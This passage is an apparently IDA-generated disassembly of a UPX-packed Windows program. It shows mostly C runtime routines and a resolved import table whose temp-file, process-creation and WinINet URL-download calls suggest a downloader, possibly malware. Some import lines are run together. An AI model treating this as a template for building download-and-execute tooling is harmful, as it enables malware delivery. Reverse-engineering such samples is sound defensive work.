		xor	eax, eax
		jmp	short loc_40AC48
; ---------------------------------------------------------------------------


loc_40AC34:				; CODE XREF: sub_40AB95+8Dj
		movzx	eax, [ebp+var_4]


loc_40AC38:				; CODE XREF: sub_40AB95+2Cj
		and	eax, [ebp+arg_4]
		cmp	[ebp+var_C], 0
		jz	short loc_40AC48
		mov	ecx, [ebp+var_10]
		and	dword ptr [ecx+70h], 0FFFFFFFDh


loc_40AC48:				; CODE XREF: sub_40AB95+9Dj
					; sub_40AB95+AAj
		pop	ebx
		leave
		retn
sub_40AB95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC4B	proc near		; CODE XREF: sub_40AE76:loc_40AE95p

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_14]
		call	sub_407FBB
		mov	eax, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_40AC6C
		mov	[eax], esi


loc_40AC6C:				; CODE XREF: sub_40AC4B+1Dj
		cmp	esi, edi
		jnz	short loc_40AC9C


loc_40AC70:				; CODE XREF: sub_40AC4B+5Aj
					; sub_40AC4B+60j
		call	sub_4053C0
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_402191
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_40AC95
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_40AC95:				; CODE XREF: sub_40AC4B+41j
		xor	eax, eax
		jmp	loc_40AE72
; ---------------------------------------------------------------------------


loc_40AC9C:				; CODE XREF: sub_40AC4B+23j
		cmp	[ebp+arg_C], edi
		jz	short loc_40ACAD
		cmp	[ebp+arg_C], 2
		jl	short loc_40AC70
		cmp	[ebp+arg_C], 24h
		jg	short loc_40AC70


loc_40ACAD:				; CODE XREF: sub_40AC4B+54j
		mov	ecx, [ebp+var_14]
		push	ebx
		mov	bl, [esi]
		mov	[ebp+var_4], edi
		lea	edi, [esi+1]


loc_40ACB9:				; CODE XREF: sub_40AC4B+A5j
		cmp	dword ptr [ecx+0ACh], 1
		jle	short loc_40ACD9
		lea	eax, [ebp+var_14]
		push	eax
		movzx	eax, bl
		push	8
		push	eax
		call	sub_40AB95
		mov	ecx, [ebp+var_14]
		add	esp, 0Ch
		jmp	short loc_40ACE9
; ---------------------------------------------------------------------------


loc_40ACD9:				; CODE XREF: sub_40AC4B+75j
		mov	edx, [ecx+0C8h]
		movzx	eax, bl
		movzx	eax, byte ptr [edx+eax*2]
		and	eax, 8


loc_40ACE9:				; CODE XREF: sub_40AC4B+8Cj
		test	eax, eax
		jz	short loc_40ACF2
		mov	bl, [edi]
		inc	edi
		jmp	short loc_40ACB9
; ---------------------------------------------------------------------------


loc_40ACF2:				; CODE XREF: sub_40AC4B+A0j
		cmp	bl, 2Dh
		jnz	short loc_40ACFD
		or	[ebp+arg_10], 2
		jmp	short loc_40AD02
; ---------------------------------------------------------------------------


loc_40ACFD:				; CODE XREF: sub_40AC4B+AAj
		cmp	bl, 2Bh
		jnz	short loc_40AD05


loc_40AD02:				; CODE XREF: sub_40AC4B+B0j
		mov	bl, [edi]
		inc	edi


loc_40AD05:				; CODE XREF: sub_40AC4B+B5j
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	loc_40AE59
		cmp	eax, 1
		jz	loc_40AE59
		cmp	eax, 24h
		jg	loc_40AE59
		test	eax, eax
		jnz	short loc_40AD50
		cmp	bl, 30h
		jz	short loc_40AD34
		mov	[ebp+arg_C], 0Ah
		jmp	short loc_40AD68
; ---------------------------------------------------------------------------


loc_40AD34:				; CODE XREF: sub_40AC4B+DEj
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_40AD47
		cmp	al, 58h
		jz	short loc_40AD47
		mov	[ebp+arg_C], 8
		jmp	short loc_40AD68
; ---------------------------------------------------------------------------


loc_40AD47:				; CODE XREF: sub_40AC4B+EDj
					; sub_40AC4B+F1j
		mov	[ebp+arg_C], 10h
		jmp	short loc_40AD5A
; ---------------------------------------------------------------------------


loc_40AD50:				; CODE XREF: sub_40AC4B+D9j
		cmp	eax, 10h
		jnz	short loc_40AD68
		cmp	bl, 30h
		jnz	short loc_40AD68


loc_40AD5A:				; CODE XREF: sub_40AC4B+103j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_40AD64
		cmp	al, 58h
		jnz	short loc_40AD68


loc_40AD64:				; CODE XREF: sub_40AC4B+113j
		inc	edi
		mov	bl, [edi]
		inc	edi


loc_40AD68:				; CODE XREF: sub_40AC4B+E7j
					; sub_40AC4B+FAj ...
		mov	esi, [ecx+0C8h]
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_C]


loc_40AD76:				; CODE XREF: sub_40AC4B+19Dj
		movzx	ecx, bl
		movzx	ecx, word ptr [esi+ecx*2]
		test	cl, 4
		jz	short loc_40AD8A
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_40ADA4
; ---------------------------------------------------------------------------


loc_40AD8A:				; CODE XREF: sub_40AC4B+135j
		test	cx, 103h
		jz	short loc_40ADC2
		mov	cl, bl
		sub	cl, 61h
		cmp	cl, 19h
		movsx	ecx, bl
		ja	short loc_40ADA1
		sub	ecx, 20h


loc_40ADA1:				; CODE XREF: sub_40AC4B+151j
		add	ecx, 0FFFFFFC9h


loc_40ADA4:				; CODE XREF: sub_40AC4B+13Dj
		cmp	ecx, [ebp+arg_C]
		jnb	short loc_40ADC2
		or	[ebp+arg_10], 8
		cmp	[ebp+var_4], eax
		jb	short loc_40ADD9
		jnz	short loc_40ADB8
		cmp	ecx, edx
		jbe	short loc_40ADD9


loc_40ADB8:				; CODE XREF: sub_40AC4B+167j
		or	[ebp+arg_10], 4
		cmp	[ebp+arg_8], 0
		jnz	short loc_40ADE5


loc_40ADC2:				; CODE XREF: sub_40AC4B+144j
					; sub_40AC4B+15Cj
		mov	eax, [ebp+arg_10]
		dec	edi
		test	al, 8
		jnz	short loc_40ADEA
		cmp	[ebp+arg_8], 0
		jz	short loc_40ADD3
		mov	edi, [ebp+arg_4]


loc_40ADD3:				; CODE XREF: sub_40AC4B+183j
		and	[ebp+var_4], 0
		jmp	short loc_40AE35
; ---------------------------------------------------------------------------


loc_40ADD9:				; CODE XREF: sub_40AC4B+165j
					; sub_40AC4B+16Bj
		mov	ebx, [ebp+var_4]
		imul	ebx, [ebp+arg_C]
		add	ebx, ecx
		mov	[ebp+var_4], ebx


loc_40ADE5:				; CODE XREF: sub_40AC4B+175j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_40AD76
; ---------------------------------------------------------------------------


loc_40ADEA:				; CODE XREF: sub_40AC4B+17Dj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_40AE0E
		test	al, 1
		jnz	short loc_40AE35
		and	eax, 2
		jz	short loc_40AE05
		cmp	[ebp+var_4], 80000000h
		ja	short loc_40AE0E


loc_40AE05:				; CODE XREF: sub_40AC4B+1AFj
		test	eax, eax
		jnz	short loc_40AE35
		cmp	[ebp+var_4], esi
		jbe	short loc_40AE35


loc_40AE0E:				; CODE XREF: sub_40AC4B+1A6j
					; sub_40AC4B+1B8j
		call	sub_4053C0
		test	byte ptr [ebp+arg_10], 1
		mov	dword ptr [eax], 22h
		jz	short loc_40AE25
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40AE35
; ---------------------------------------------------------------------------


loc_40AE25:				; CODE XREF: sub_40AC4B+1D2j
		mov	al, byte ptr [ebp+arg_10]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_4], eax


loc_40AE35:				; CODE XREF: sub_40AC4B+18Cj
					; sub_40AC4B+1AAj ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_40AE3E
		mov	[eax], edi


loc_40AE3E:				; CODE XREF: sub_40AC4B+1EFj
		test	byte ptr [ebp+arg_10], 2
		jz	short loc_40AE47
		neg	[ebp+var_4]


loc_40AE47:				; CODE XREF: sub_40AC4B+1F7j
		cmp	[ebp+var_8], 0
		jz	short loc_40AE54
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_40AE54:				; CODE XREF: sub_40AC4B+200j
		mov	eax, [ebp+var_4]
		jmp	short loc_40AE71
; ---------------------------------------------------------------------------


loc_40AE59:				; CODE XREF: sub_40AC4B+BFj
					; sub_40AC4B+C8j ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_40AE62
		mov	[eax], esi


loc_40AE62:				; CODE XREF: sub_40AC4B+213j
		cmp	[ebp+var_8], 0
		jz	short loc_40AE6F
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_40AE6F:				; CODE XREF: sub_40AC4B+21Bj
		xor	eax, eax


loc_40AE71:				; CODE XREF: sub_40AC4B+20Cj
		pop	ebx


loc_40AE72:				; CODE XREF: sub_40AC4B+4Cj
		pop	edi
		pop	esi
		leave
		retn
sub_40AC4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE76	proc near		; CODE XREF: sub_40A924+8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	ds:dword_410730, eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		jnz	short loc_40AE94
		push	offset off_40F5B0
		jmp	short loc_40AE95
; ---------------------------------------------------------------------------


loc_40AE94:				; CODE XREF: sub_40AE76+15j
		push	eax


loc_40AE95:				; CODE XREF: sub_40AE76+1Cj
		call	sub_40AC4B
		add	esp, 14h
		pop	ebp
		retn
sub_40AE76	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_40A970


loc_40AEA0:				; CODE XREF: sub_40A970+11j
					; UPX0:0040A997j
		push	ecx
		lea	ecx, [esp+4]
		sub	ecx, eax
		sbb	eax, eax
		not	eax
		and	ecx, eax
		mov	eax, esp
		and	eax, 0FFFFF000h


loc_40AEB4:				; CODE XREF: sub_40A970+559j
		cmp	ecx, eax
		jb	short loc_40AEC2
		mov	eax, ecx
		pop	ecx
		xchg	eax, esp
		mov	eax, [eax]
		mov	[esp+0], eax
		retn
; ---------------------------------------------------------------------------


loc_40AEC2:				; CODE XREF: sub_40A970+546j
		sub	eax, 1000h
		test	[eax], eax
		jmp	short loc_40AEB4
; END OF FUNCTION CHUNK	FOR sub_40A970
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+10h]
		or	ecx, ecx
		jz	short loc_40AF2A
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_40AEEC:				; CODE XREF: UPX0:0040AF19j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_40AF1B
		or	al, al
		jz	short loc_40AF1B
		add	esi, 1
		add	edi, 1
		cmp	ah, bh
		jb	short loc_40AF08
		cmp	ah, bl
		ja	short loc_40AF08
		add	ah, dh


loc_40AF08:				; CODE XREF: UPX0:0040AF00j
					; UPX0:0040AF04j
		cmp	al, bh
		jb	short loc_40AF12
		cmp	al, bl
		ja	short loc_40AF12
		add	al, dh


loc_40AF12:				; CODE XREF: UPX0:0040AF0Aj
					; UPX0:0040AF0Ej
		cmp	ah, al
		jnz	short loc_40AF21
		sub	ecx, 1
		jnz	short loc_40AEEC


loc_40AF1B:				; CODE XREF: UPX0:0040AEF2j
					; UPX0:0040AEF6j
		xor	ecx, ecx
		cmp	ah, al
		jz	short loc_40AF2A


loc_40AF21:				; CODE XREF: UPX0:0040AF14j
		mov	ecx, 0FFFFFFFFh
		jb	short loc_40AF2A
		neg	ecx


loc_40AF2A:				; CODE XREF: UPX0:0040AEDBj
					; UPX0:0040AF1Fj ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40AF40:				; CODE XREF: UPX0:0040AF6Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h
		xor	eax, eax
		mov	al, [esp+8]
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+8]
		test	edx, 3
		jz	short loc_40AF7D


loc_40AF68:				; CODE XREF: UPX0:0040AF7Bj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_40AF40
		test	cl, cl
		jz	short loc_40AFC6
		test	edx, 3
		jnz	short loc_40AF68


loc_40AF7D:				; CODE XREF: UPX0:0040AF66j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_40AF88:				; CODE XREF: UPX0:0040AFB3j
					; UPX0:0040AFC2j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_40AFCA
		and	eax, 81010100h
		jz	short loc_40AF88
		and	eax, 1010100h
		jnz	short loc_40AFC4
		and	esi, 80000000h
		jnz	short loc_40AF88


loc_40AFC4:				; CODE XREF: UPX0:0040AFBAj
					; UPX0:0040AFD3j ...
		pop	esi
		pop	edi


loc_40AFC6:				; CODE XREF: UPX0:0040AF73j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40AFCA:				; CODE XREF: UPX0:0040AFACj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_40B007
		test	al, al
		jz	short loc_40AFC4
		cmp	ah, bl
		jz	short loc_40B000
		test	ah, ah
		jz	short loc_40AFC4
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_40AFF9
		test	al, al
		jz	short loc_40AFC4
		cmp	ah, bl
		jz	short loc_40AFF2
		test	ah, ah
		jz	short loc_40AFC4
		jmp	short loc_40AF88
; ---------------------------------------------------------------------------


loc_40AFF2:				; CODE XREF: UPX0:0040AFEAj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40AFF9:				; CODE XREF: UPX0:0040AFE2j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40B000:				; CODE XREF: UPX0:0040AFD7j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40B007:				; CODE XREF: UPX0:0040AFCFj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40B00E	proc near		; CODE XREF: sub_4041CE+24p
					; sub_409A2A+10p ...
		jmp	dword_40C060
sub_40B00E	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_401461
; ---------------------------------------------------------------------------


loc_40B01C:				; DATA XREF: sub_401FF5+2o
					; sub_402034+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-54h]
		xor	ecx, eax
		call	sub_40224A
		mov	eax, offset dword_40DE08
		jmp	sub_404220
; ---------------------------------------------------------------------------


loc_40B037:				; DATA XREF: sub_406DCE+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40224A
		mov	eax, offset dword_40E020
		jmp	sub_404220
; ---------------------------------------------------------------------------
		lea	esi, [ebp-230h]
		jmp	loc_401BEF
; ---------------------------------------------------------------------------


loc_40B05D:				; DATA XREF: sub_4010EC+5o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-290h]
		xor	ecx, eax
		call	sub_40224A
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40224A
		mov	eax, offset dword_40E318
		jmp	sub_404220
; ---------------------------------------------------------------------------


loc_40B085:				; DATA XREF: sub_401882+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-1Ch]
		xor	ecx, eax
		call	sub_40224A
		mov	eax, offset dword_40E3A4
		jmp	sub_404220
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4024AF
; ---------------------------------------------------------------------------


loc_40B0A8:				; DATA XREF: sub_4012D1+2o
					; sub_401826+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40224A
		mov	eax, offset dword_40E3D0
		jmp	sub_404220
; ---------------------------------------------------------------------------


loc_40B0C3:				; DATA XREF: sub_401ADC+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-24h]
		xor	ecx, eax
		call	sub_40224A
		mov	eax, offset dword_40E428
		jmp	sub_404220
; ---------------------------------------------------------------------------


loc_40B0DE:				; DATA XREF: sub_401A89+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-18h]
		xor	ecx, eax
		call	sub_40224A
		mov	eax, offset dword_40E480
		jmp	sub_404220
; ---------------------------------------------------------------------------


loc_40B0F9:				; DATA XREF: UPX1:0040E4B0o
		jmp	nullsub_1
; ---------------------------------------------------------------------------


loc_40B0FE:				; DATA XREF: sub_4017AB+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-18h]
		xor	ecx, eax
		call	sub_40224A
		mov	eax, offset dword_40E4E0
		jmp	sub_404220
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	loc_401461
; ---------------------------------------------------------------------------


loc_40B121:				; DATA XREF: sub_401548+2o
					; sub_401606+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-58h]
		xor	ecx, eax
		call	sub_40224A
		mov	eax, offset dword_40E50C
		jmp	sub_404220
; ---------------------------------------------------------------------------
		lea	esi, [ebp-1Ch]
		jmp	loc_401436

; =============== S U B	R O U T	I N E =======================================



sub_40B144	proc near		; CODE XREF: sub_404EFE+14p
					; sub_40556D+23p
					; DATA XREF: ...

arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-24h]
		xor	ecx, eax
		call	sub_40224A
		mov	eax, offset dword_40E538
		jmp	sub_404220
sub_40B144	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B15F	proc near		; DATA XREF: UPX0:0040C138o
		call	sub_401679
		and	ds:dword_4108C8, 0
		push	offset loc_40B17C
		mov	ds:dword_4108C4, eax
		call	sub_40268D
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40B17C:				; DATA XREF: sub_40B15F+Co
		mov	eax, ds:dword_4108C4
		push	edi
		mov	edi, [eax]
		mov	[eax], eax
		mov	eax, ds:dword_4108C4
		mov	[eax+4], eax
		and	ds:dword_4108C8, 0
		cmp	edi, ds:dword_4108C4
		jz	short loc_40B1BC
		push	ebx
		push	esi


loc_40B19F:				; CODE XREF: sub_40B15F+59j
		mov	ebx, [edi]
		lea	esi, [edi+8]
		call	sub_4015D0
		push	edi
		call	sub_4023DB
		cmp	ebx, ds:dword_4108C4
		pop	ecx
		mov	edi, ebx
		jnz	short loc_40B19F
		pop	esi
		pop	ebx


loc_40B1BC:				; CODE XREF: sub_40B15F+3Cj
		push	ds:dword_4108C4
		call	sub_4023DB
		and	ds:dword_4108C4, 0
		pop	ecx
		pop	edi
		retn
sub_40B15F	endp

; ---------------------------------------------------------------------------


loc_40B1D1:				; DATA XREF: sub_402371+40o
		mov	ds:dword_40FE04, offset	off_40C174
		mov	ecx, offset dword_40FE04
		jmp	sub_4024AF
; ---------------------------------------------------------------------------
		align 4
		dd 386h	dup(0)
dword_40C000	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_406718+1B5r
dword_40C004	dd 7C8608FFh	; resolved to->KERNEL32.GetTempFileNameAdword_40C008	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_40C00C	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathAdword_40C010	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_401E85+27r
dword_40C014	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_401E85+115r ...
dword_40C018	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_401E85+47r
dword_40C01C	dd 7C810A09h	; resolved to->KERNEL32.GetFileSizeExdword_40C020	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_401C1F+114r ...
dword_40C024	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_40C028	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_40C02C	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_40C030	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_404CDE+FCr
dword_40C034	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_404CDE+F5r
dword_40C038	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilter					; sub_404CDE+D9r ...
dword_40C03C	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_404CDE+CEr ...
dword_40C040	dd 7C813093h	; resolved to->KERNEL32.IsDebuggerPresent					; sub_404CDE+B9r
dword_40C044	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_40C048	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeapdword_40C04C	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_40C050	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeapdword_40C054	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeapdword_40C058	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_406718+15r
dword_40C05C	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_40C060	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_40C064	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_404694+39r ...
dword_40C068	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_40470B+54r ...
dword_40C06C	dd 7C809740h	; resolved to->KERNEL32.TlsGetValue					; sub_40470B+7r ...
dword_40C070	dd 7C812D9Fh	; resolved to->KERNEL32.TlsAlloc					; sub_404A60:loc_404AFFr
dword_40C074	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValue					; sub_404A60+58r
dword_40C078	dd 7C8136D7h	; resolved to->KERNEL32.TlsFree					; sub_404A60+85r
dword_40C07C	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_407B43+8r ...
dword_40C080	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Error					; sub_409843+ABr
dword_40C084	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadId					; sub_404A60+169r ...
dword_40C088	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_404F20+79r ...
dword_40C08C	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrement					; sub_407BC9+Cr ...
dword_40C090	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_405413+25r ...
dword_40C094	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_40C098	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_40C09C	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_40652A+2Ar
dword_40C0A0	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsA					; sub_4065E3+126r
dword_40C0A4	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsAdword_40C0A8	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_40C0AC	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_40A460+216r ...
dword_40C0B0	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_40C0B4	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_40C0B8	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_406718+1C7r
dword_40C0BC	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSectiondword_40C0C0	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_40C0C4	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_40C0C8	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_40C0CC	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounterdword_40C0D0	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_40C0D4	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_40C0D8	dd 7C8017E5h	; resolved to->KERNEL32.GetSystemTimeAsFileTimedword_40C0DC	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_40C0E0	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_40C0E4	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_4080B7+84r ...
dword_40C0E8	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_40C0EC	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_40C0F0	dd 7C8110CBh	; resolved to->KERNEL32.IsValidCodePagedword_40C0F4	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_40893C+52r
dword_40C0F8	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_40928C+134r ...
dword_40C0FC	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_40C100	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_40C104	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_40C108	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeAdword_40C10C	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_40A460:loc_40A50Dr ...
dword_40C110	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_40A226+11Cr
dword_40C114	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_40A460+365r
dword_40C118	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_40A460+144r ...
		align 10h
dword_40C120	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandle					; UPX0:00401BF4r ...
dword_40C124	dd 42C2C8A1h	; resolved to->WININET.InternetOpenAdword_40C128	dd 42C2ABF4h	; resolved to->WININET.InternetReadFiledword_40C12C	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlA		dd 0
dword_40C134	dd 0				dd offset sub_40B15F
dword_40C13C	dd 0		dword_40C140	dd 0				dd offset sub_402622
		dd offset sub_404CCA
		dd offset sub_40842A
		dd offset sub_4084F8
		dd offset sub_405F15
dword_40C158	dd 0		dword_40C15C	dd 0		dword_40C160	dd 0		dword_40C164	dd 0		dword_40C168	dd 2 dup(0)			dd offset dword_40DCCC
off_40C174	dd offset loc_4012AE	; DATA XREF: sub_4012A3o
					; UPX0:004012B1o ...
		dd offset sub_4024C5
		dd offset dword_40DC80
off_40C180	dd offset loc_401331	; DATA XREF: sub_4012D1+20o
					; sub_401306+Ao ...
		dd offset sub_401323
		dd offset dword_40DC30
off_40C18C	dd offset loc_401358	; DATA XREF: UPX0:loc_40134Do
					; UPX0:0040135Bo ...
		dd offset sub_401323
		dd offset dword_40DB38
off_40C198	dd offset loc_401FD3	; DATA XREF: sub_401FC8o
					; UPX0:00401FD6o ...
		dd offset sub_401323
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_401FF5+Co
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_402034+Co
		dd offset dword_40DB88
off_40C1CC	dd offset loc_4024D2	; DATA XREF: sub_4023E0+Ao
					; sub_4023F1+9o ...
		dd offset sub_4024C5
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4024C5+7o
		align 4
		dd offset dword_40DB9C
off_40C1EC	dd offset loc_402794	; DATA XREF: sub_402786+1o
					; UPX1:off_40F004o ...
dword_40C1F0	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
dword_40C210	dd 78696D2Eh, 747263haEncodepointer	db 'EncodePointer',0    ; DATA XREF: sub_404694+4Eo
					; sub_4047F1+37o
		align 4
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_404694:loc_4046C8o
					; sub_40470B:loc_40473Fo ...
		align 4
aDecodepointer	db 'DecodePointer',0    ; DATA XREF: sub_40470B+4Eo
					; sub_4047F1+4Do
		align 4
aFlsfree	db 'FlsFree',0          ; DATA XREF: sub_404A60+44o
aFlssetvalue	db 'FlsSetValue',0      ; DATA XREF: sub_404A60+37o
aFlsgetvalue	db 'FlsGetValue',0      ; DATA XREF: sub_404A60+2Ao
